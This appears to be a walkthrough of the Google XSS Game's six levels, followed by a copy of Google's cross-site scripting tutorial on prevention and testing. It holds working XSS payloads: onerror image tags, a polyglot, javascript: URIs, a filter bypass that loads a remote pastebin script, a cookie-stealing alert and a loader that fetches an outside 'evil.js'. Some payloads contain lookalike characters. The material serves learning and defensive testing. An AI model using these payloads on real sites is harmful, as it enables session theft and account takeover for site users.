Target:
Level 1: Hello, world of XSS
There is no filter in this challenge,it’s very easy to pass.
Payload:
<script>alert(1)</script>
Level 2: Persistence is key
Check the sourcecode,we found key sentence “html += “
” + posts[i].message + “</blockquote”;” in function displayPosts,it showed us all characters we post,and line swapping by fixed length.
function displayPosts() {
var containerEl = document.getElementById("post-container");
containerEl.innerHTML = "";
var posts = DB.getPosts();
for (var i=0; i<posts.length; i++) {
var html = '<table class="message"> <tr> <td valign=top> '
+ '<img src="/static/level2_icon.png"> </td> <td valign=top '
+ ' class="message-container"> <div class="shim"></div>';
html += '<b>You</b>';
html += '<span class="date">' + new Date(posts[i].date) + '</span>';
html += "<blockquote>" + posts[i].message + "</blockquote";
html += "</td></tr></table>"
containerEl.innerHTML += html;
}
}
If test.jpg is not exist,it will be trigger onerror method.
Payload:
<img src="test.jpg" onerror="alert(1)">
The payload below is valid also.
<img src="/static/level2_icon.png" onload="alert(1)">
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
Level 3: That sinking feeling…
Check the function chooseTab below,we’ll found the url format like http://xss-game.appspot.com/level3/frame#num,the num is a input point we could control.
function chooseTab(num) {
// Dynamically load the appropriate image.
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);
window.location.hash = num;
// Select the current tab
var tabs = document.querySelectorAll('.tab');
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parseInt(num)) {
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}
Payload: it will create a html code like <img src=’/static/level3/cloud”‘ οnerrοr=”alert(1)””.jpg’/>
' onerror="alert(1)"
' onerror="javascript:alert(1)"
' onerror=confirm(1)>
Level 4: Context matters
When you click “Create timer” button,the url will be redirected to “http://xss-game.appspot.com/level4/frame?timer=num”
first, we found a function in sourcecode below,
function startTimer(seconds) {
seconds = parseInt(seconds) || 3;
setTimeout(function() {
window.confirm("Time is up!");
window.history.back();
}, seconds * 1000);
}
Open the developer of the browser,check the seconds varible’s value like below,if we input number 0,it will be redirect to 3.
check the source code,we’ll found the img lable below.
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
The ‘timer’ is a input point and we could control it.
A payload below create the code format <img src=”static/loading.gif” οnlοad=”startTimer(‘ ‘);alert(1);var a=(‘ ‘);” /> ,but it is not passed.
');alert(1);var a=('
Change it to url format: ‘)%3Balert(1)%3Bvar a=(‘
It’s passed
Level 5: Breaking protocol
When we click “Sign up” link,it will be redirected to a new link:http://xss-game.appspot.com/level5/frame/signup?next=confirm
check the confirm.html,we found the code below:
<script>
setTimeout(function() { window.location = '{{ next }}'; }, 5000);
</script>
next is a input point we could control,create a payload
javascript:alert(1)
Open the url: http://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
Click “Next” link to alert a message,it’s passed.
Level 6: Follow the ![?](https://i-blog.csdnimg.cn/blog_migrate/6376157a206dccdeb018ec7b072ad868.png)
Check the link http://xss-game.appspot.com/level6/frame#/static/gadget.js,
it’s looks like http://xss-game.appspot.com/level6/frame# + url path,
we could set the url path to attack html,just like pastebin.
create a raw html link(https://pastebin.com/raw/1KKvfhsb) include script “javascript:alert(1)” at pastebin.com.
Open the link http://xss-game.appspot.com/level6/frame#https://pastebin.com/raw/1KKvfhsb,it will show us a error info like the picture below.
We need to check the sourcode,we will found the key sentence “url.match(/^https?:\/\//))”,it’s a filter,if the url include http or https,it will raise a error,so we change ‘http’ to ‘Http’,it’s passed.
<script>
function setInnerText(element, value) {
if (element.innerText) {
element.innerText = value;
} else {
element.textContent = value;
}
}
function includeGadget(url) {
var scriptEl = document.createElement('script');
// This will totally prevent us from loading evil URLs!
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}
// Load this awesome gadget
scriptEl.src = url;
// Show log messages
scriptEl.onload = function() {
setInnerText(document.getElementById("log"),
"Loaded gadget from " + url);
}
scriptEl.onerror = function() {
setInnerText(document.getElementById("log"),
"Couldn't load gadget from " + url);
}
document.head.appendChild(scriptEl);
}
// Take the value after # and use it as the gadget filename.
function getGadgetName() {
return window.location.hash.substr(1) || "/static/gadget.js";
}
includeGadget(getGadgetName());
// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
includeGadget(getGadgetName());
}
}, false);
</script>
Reference:
https://www.google.com/about/appsecurity/learning/xss/index.html
Cross-site scripting
Table of Contents
Introduction to cross-site scripting
Target Audience
This document is intended for anyone who develops websites or is interested in web security topics. A background in HTML, JavaScript, and Document Object Model (DOM) would be helpful for some of the more technical details.
Don’t be evil
This document provides information that could be used to assess the security of a website against cross-site scripting vulnerabilities. Do not use what you learn here to test (or worse, attack) websites without permission from the website’s owner.
What is cross-site scripting and why should I care?
Cross-site scripting (XSS) is a security bug that can affect websites. If present in your website, this bug can allow an attacker to add their own malicious JavaScript code onto the HTML pages displayed to your users. Once executed by the victim’s browser, this code could then perform actions such as completely changing the behavior or appearance of the website, stealing private data, or performing actions on behalf of the user.
Don’t worry, we’ll show you what all this means, but before we dig deeper, let’s take a look at some interactive examples to see how it works.
A basic example
XSS vulnerabilities most often happen when user input is incorporated into a web server’s response (i.e., an HTML page) without proper escaping or validation.
Consider the search application below. Click on “Show demo” to load the application. This is a working demo application; so, you can interact with it–try searching for something. For your reference, we also included the App Engine source code–you can view the code by clicking on “Click to view application source code” link.
Demo application 1:URL
Click to view application source code
Using the demo application above, search for test
. This returns the following output:Sorry, no results were found for test. Try again.
Now, search for <u>test</u>
. Notice that “test” is underlined in the response:Sorry, no results were found for test. Try again.
So, without looking at the code, it seems that the application includes our own HTML markup in the response. That’s interesting but not terribly dangerous. If, however, the application also allows us to inject JavaScript code, that would be much more “interesting”.
Let’s give it a try. Search for <script>alert('hello')</script>
.
We found an XSS bug!
You’ve just experienced a “reflected” XSS attack, where the JavaScript payload (<script>alert('hello')</script>
) is echoed back on the page returned by the server.
If you look at line 50 of the source code, you’ll see that the message that is displayed in the search results page is a string that’s constructed using the query
input value. This string is then passed to a function that renders the HTML output using the response.out.write
method in line 37. The problem is that the input is not escaped before it’s rendered. We’ll discuss escaping later in the “Preventing XSS” section.
In the above scenario, an attacker would need the victim to either:
- Visit any page controlled by the attacker. This page might include an invisible iframe that points to the site that’s vulnerable to XSS, along with a payload to exploit the vulnerability.
- Or click on a URL link from the attacker. This link would include the exploit payload (in the example above, https://xss-doc.appspot.com/demo/2?query=<script>alert(‘hello’)</script>) and may even be obscured by a URL shortener.
It’s worth noting that an XSS payload can be delivered in different ways; for example, it could be in a parameter of an HTTP POST request, as part of the URL, or even within the web browser cookie – basically, anywhere a user can supply input to the website.
All this to generate an annoying pop-up window might not seem worth it. Unfortunately, XSS vulnerabilities can result in much more than alerts on a page (a pop-up alert is just a convenient way for an attacker or researcher to detect the presence of an XSS bug). Take a look at the next example for a more malicious script.
Sometimes the XSS payload can persist
In the attack we described above, the web server echoes back the XSS payload to the victim right away. But it is also possible for the server to store the attacker-supplied input (the XSS payload) and serve it to the victim at a later time. This is called a “stored XSS”.
Below we illustrate a basic example using a demo social networking site. Go ahead, enter some text and share your status in the demo application below.
Demo application 2:
Click to view application source code
Next, try this:
- Enter
<img src=x onerror="alert('Pop-up window via stored XSS');"
- Share your status.
- You should see a pop-up alert! You’ll see the alert again if you refresh the page or share another status message.
Now, enter <img src=x onerror="alert(document.cookie);"
and hit ‘Share status!’.
The session ID for this application (a contrived one that is probably ‘123412341234’) will pop up! An attacker could use XSS exploit code to collect this session ID, and try to impersonate the owner of the account.
Note: To reset the application and get rid of the annoying pop-ups, click the “Clear all posts” button.
What else can you do besides popping up alerts or stealing session IDs? You can pretty much do anything JavaScript allows. Try entering the following:<img src=1 onerror="s=document.createElement('script');s.src='//xss-doc.appspot.com/static/evil.js';document.body.appendChild(s);"
Spooky, huh? In this example, an evil JavaScript file was retrieved and embedded via XSS.
Your server won’t always see the XSS payload
In the previous two examples, user input was sent to the server, and the server responded back to the user by displaying a page that included the user input. However, a stored or reflected XSS vulnerability can also occur without direct involvement of the server, if user-supplied data is used in an unsafe JavaScript operation. That is, the XSS can occur entirely in the client-side JavaScript and HTML (more specifically, in the Document Object Model or DOM) without data being sent back and forth between the client and the server. We call this subclass of bugs “DOM-based XSS” or “DOM XSS” for short. A common cause of DOM XSS bugs is setting the innerHTML
value of a DOM element with user-supplied data.
Take a look at the following application. It uses a URL fragment to determine which tab to show.
Demo application 3:URL
Click to view application source code
The application works as expected when you click on the tabs. However, it is also possible to open a URL such as:https://xss-doc.appspot.com/demo/3#’><img src=x οnerrοr=alert(/DOM-XSS/)>
You can copy and paste the above URL into the “URL bar” in the demo application above and click the “Go” button. You should see a pop-up alert.
The XSS is triggered because the client-side script uses part of the window.location
to set the innerHTML
of one of the elements inside the page. When you go to the above URL, the location.hash
variable is set to #'><img src=x onerror=alert(/DOM-XSS/)>
. If you look at line 33 of the source code for index.html, you will see that the substring of location.hash
(the string after the # character) is passed as the argument to the chooseTab
function in line 8. chooseTab
constructs an img element for embedding an image using the following:html += "<img src='/static/demos/GEECS" + name + ".jpg' />";
The location.hash
substring argument is used to set the value of name
; this results in following img element:<img src='/static/demos/GEECS'><img src=x onerror=alert(/DOM-XSS/)>.jpg' />
The above is valid HTML; however, the browser will fail to load the image and will instead execute the onerror
code. This img element is ultimately added to the document via innerHTML
on line 12.
Preventing XSS
Nothing is foolproof
We provide some suggestions on how you can minimize the chance that your website will contain XSS vulnerabilities. But keep in mind that both security and technology evolves very rapidly; so, no guarantees–what works today may not fully work tomorrow (hackers can be pretty clever).
What can I do to prevent XSS?
A common technique for preventing XSS vulnerabilities is “escaping”. The purpose of character and string escaping is to make sure that every part of a string is interpreted as a string primitive, not as a control character or code.
For example, ‘<
‘ is the HTML encoding for the ‘<
‘ character. If you include:<script>alert('testing')</script>
in the HTML of a page, the script will execute. But if you include:<script>alert('testing')</script>
in the HTML of a page, it will print out the text “<script>alert(‘testing’)</script>”, but it will not actually execute the script. By escaping the <script>
tags, we prevented the script from executing. Technically, what we did here is “encoding” not “escaping”, but “escaping” conveys the basic concept (and we’ll see later that in the case of JavaScript, “escaping” actually is the correct term).
The following can help minimize the chances that your website will contain XSS vulnerabilities:
- Using a template system with context-aware auto-escaping
- Manually escaping user input (if it’s not possible to use a template system with context-aware auto-escaping)
- Understanding common browser behaviors that lead to XSS
- Learning the best practices for your technology
The rest of this section describes these measures in detail.
Use a template system with context-aware auto-escaping
The simplest and best means to protect your application and your users from XSS bugs is to use a web template system or web application development framework that auto-escapes output and is context-aware.
“Auto-escaping” refers to the ability of a template system or web development framework to automatically escape user input in order to prevent any scripts embedded in the input from executing. If you wanted to prevent XSS without auto-escaping, you would have to manually escape input; this means writing your own custom code (or call an escape function) everywhere your application includes user-controlled data. In most cases, manually escaping input is not recommended; we’ll discuss manual escaping in the next section.
“Context-aware” refers to the ability to apply different forms of escaping based on the appropriate context. Because CSS, HTML, URLs, and JavaScript all use different syntax, different forms of escaping are required for each context. The following example HTML template uses variables in all of these different contexts:
<body>
<span style="color:{{ USER_COLOR }};">
Hello {{ USERNAME }}, view your <a href="{{ USER_ACCOUNT_URL }}">Account</a>.
</span>
<script>
var id = {{ USER_ID }};
alert("Your user ID is: " + id);
</script>
</body>
As you can see, trying to manually escape input for various contexts can be very difficult. You can read more about context-aware auto-escaping here. Go Templates, Google Web Toolkit (GWT) with SafeHtml, Closure Templates, and CTemplate all provide context-aware auto-escaping so that variables are correctly escaped for the page context in which they appear. If you are using templates to generate HTML within JavaScript (a good idea!) Closure Templates and Angular provide built-in escaping capabilities.
A note on manually escaping input
Writing your own code for escaping input and then properly and consistently applying it is extremely difficult. We do not recommend that you manually escape user-supplied data. Instead, we strongly recommend that you use a templating system or web development framework that provides context-aware auto-escaping. If this is impossible for your website, use existing libraries and functions that are known to work, and apply these functions consistently to all user-supplied data and all data that isn’t directly under your control.
Understand common browser behaviors that lead to XSS
If you follow the practices from the previous section, you can reduce your risk of introducing XSS bugs into your applications. There are, however, more subtle ways in which XSS can surface. To mitigate the risk of these corner cases, consider the following:
- Specify the correct
Content-Type
andcharset
for all responses that can contain user data.- Without such headers, many browsers will try to automatically determine the appropriate response by performing content or character set sniffing. This may allow external input to fool the browser into interpreting part of the response as HTML markup, which in turn can lead to XSS.
- Make sure all user-supplied URLs start with a safe protocol.
- It’s often necessary to use URLs provided by users, for example as a continue URL to redirect after a certain action, or in a link to a user-specified resource. If the protocol of the URL is controlled by the user, the browser can interpret it as a scripting URI (e.g.
javascript:
,data:
, and others) and execute it. To prevent this, always verify that the URL begins with a whitelisted value (usually onlyhttp://
orhttps://
).
- It’s often necessary to use URLs provided by users, for example as a continue URL to redirect after a certain action, or in a link to a user-specified resource. If the protocol of the URL is controlled by the user, the browser can interpret it as a scripting URI (e.g.
- Host user-uploaded files in a sandboxed domain.
Learn the best practices for your technology
The following best practices can help you reduce XSS vulnerabilities in your code for specific technologies.
- JavaScript: Many XSS vulnerabilities are caused by passing user data to Javascript execution sinks; browser mechanisms that will execute scripts from their input. Such APIs include
*.innerHTML
,document.write
andeval()
. When user-controlled data (in the form oflocation.*
,document.cookie
or JavaScript variables containing user data) is returned by the server, calling such functions can lead to XSS. - JSON: Make sure you apply proper escaping (including HTML-escaping of characters such as
<
and>
). Do not allow user-supplied data to be returned as the first part of the response (as often happens in JSONP). Do not useeval()
to parse the data. - Flash: Consider hosting SWF files in a separate domain.
- GWT: Follow the guidelines in the GWT Developer’s Guide on SafeHtml. In particular, avoid the use of APIs that interpret plain String-typed values as HTML and prefer the SafeHtml-variants where available. For example, prefer
HTML#setHTML(SafeHtml)
overHTML#setHTML(String)
. - HTML sanitization: If you need to support user-supplied markup such as images or links, look for technologies that support HTML sanitization. For example, Caja includes an html-sanitizer written in Javascript that can be used to remove potentially executable Javascript from a snippet of HTML.
Testing for XSS
Proceed with caution
As with any security testing, there may be unintended side-effects. We assume no responsibility for your use of the knowledge you obtain here (with power comes responsibility); so, use this information at your own risk.
How can I test for XSS?
There is no silver bullet for detecting XSS in applications. The best way to go about testing for XSS bugs is through a combination of:
- manual testing,
- writing unit tests to verify correct escaping or sanitization in crucial parts of your application, and
- using automated tools.
This section will describe and make recommendations for each strategy.
Manual testing (“black-box testing”)
XSS is a risk wherever your application handles user input.
For best results, configure your browser to use a proxy that intercepts and scans traffic to help identify problems. Example tools include Burp Proxy and ratproxy.
Perform these basic tests on your application:
- Interact with your application. Insert strings that contain HTML and JavaScript metacharacters into all application inputs, such as forms, URL parameters, hidden fields(!), or cookie values.
- A good test string is
>'>"><img src=x onerror=alert(0)>
. - If your application doesn’t correctly escape this string, you will see an alert and will know that something went wrong.
- Wherever your application handles user-supplied URLs, enter
javascript:alert(0)
ordata:text/html,<script>alert(0)</script>
. - Create a test user profile with data similar to the test strings above. Use that profile to interact with your application. This can help identify stored XSS bugs.
Code review (“white-box testing”)
Request that a colleague or friend review your code with fresh eyes (and offer to return the favor!). Ask them to specifically look for XSS vulnerabilities and point them to this document, if it would be helpful.
Unit tests
Use unit testing to make sure that a particular bit of data is correctly escaped. While it’s not always feasible to unit test every place where user-supplied data is displayed, you should at a minimum write unit tests for any slightly out of the ordinary code to make sure that the result meets your expectations. This includes places where:
- Markup that includes user input is generated in the code – verify that any untrusted input is escaped or removed.
- Your application redirects to external URLs – make sure that the URL begins with http:// or https://.
- You use an HTML sanitizer or stripper to remove tags from the markup – verify that any unsupported markup is escaped.
Also, any time after you find and fix an XSS bug in your code, consider adding a regression test for it.
Web application security scanners
You can use security scanning software to identify XSS vulnerabilities within applications. While automatic scanners are often not optimized for your particular application, they allow you to quickly and easily find the more obvious vulnerabilities. Skipfish is one such tool.
Which testing method should I use?
Well, to be honest–as many of them as possible (what kind of response did you expect from security people?). No testing methodology is foolproof; so, performing a combination of code reviews, and manual and automated testing, will decrease the odds of a XSS vulnerability in your application.